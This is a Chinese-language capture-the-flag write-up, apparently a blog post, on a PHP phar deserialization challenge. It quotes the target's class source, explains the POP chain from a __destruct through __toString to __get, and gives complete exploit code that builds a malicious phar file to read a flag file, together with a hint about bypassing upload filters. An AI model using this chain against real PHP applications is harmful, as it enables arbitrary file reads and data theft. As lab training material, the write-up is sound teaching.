第一个点先找到文件,我们找找file.php ![在这里插入图片描述](https://img-blog.csdnimg.cn/f947a1a0c3c34cf3aa561a9690c12fe9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95aSc6Zuo,size_20,color_FFFFFF,t_70,g_se,x_16)
发现function.php和class.php 进去发现 ![在这里插入图片描述](https://img-blog.csdnimg.cn/8c3353d99c43448f8df7deca4af42791.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95aSc6Zuo,size_20,color_FFFFFF,t_70,g_se,x_16)
发现提示 ![在这里插入图片描述](https://img-blog.csdnimg.cn/439d11baf9994e0aa2f3fd87bb968fc3.png)
进入class.php,发现源码了 ![在这里插入图片描述](https://img-blog.csdnimg.cn/4562b5976e894cdda7e8b13950d0fdda.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95aSc6Zuo,size_20,color_FFFFFF,t_70,g_se,x_16)
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
这里面能利用到的是哪个销毁的魔术方法,会在结束的时候echo,这时候就能调用到
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
这个调用变量的操作可以在接下来直接到后面进行对get的调用,所以后面的时候会把这个访问的变量=test来调用方法,而这里要调用我们要尽行的tostring方法就需要echo,就是上面cle4r的方法,那么接下来我们调用的方向就是给上面作为echo的那里赋值目标路径地址,就是我们要进行的/var/www/html/f1ag.php
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
看见了base64读取文件就可以知道我们的方向了,那现在就是问题怎么调用_get,我们就需要show里面访问变量的操作了, 整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()
然后上传的时候会对htaccess和后缀进行验证,记得要改![在这里插入图片描述](https://img-blog.csdnimg.cn/a85392e0625047fe96175a32ac57e9b0.png) 这样就构造exp
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";
$a->str = $b;
$b->str['str'] = $c;
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
$c = new C1e4r();
$show = new Show();
$test= new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c->str = $show;
$show->str['str'] = $test;
?>
![在这里插入图片描述](https://img-blog.csdnimg.cn/9d407fac554444b19ba78a5275009e56.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95aSc6Zuo,size_17,color_FFFFFF,t_70,g_se,x_16)
然后通过生成phar文件的方式来生成上传 上传之后找到目标文件的地址就能读取目标了 Apache环境直接开始就行
|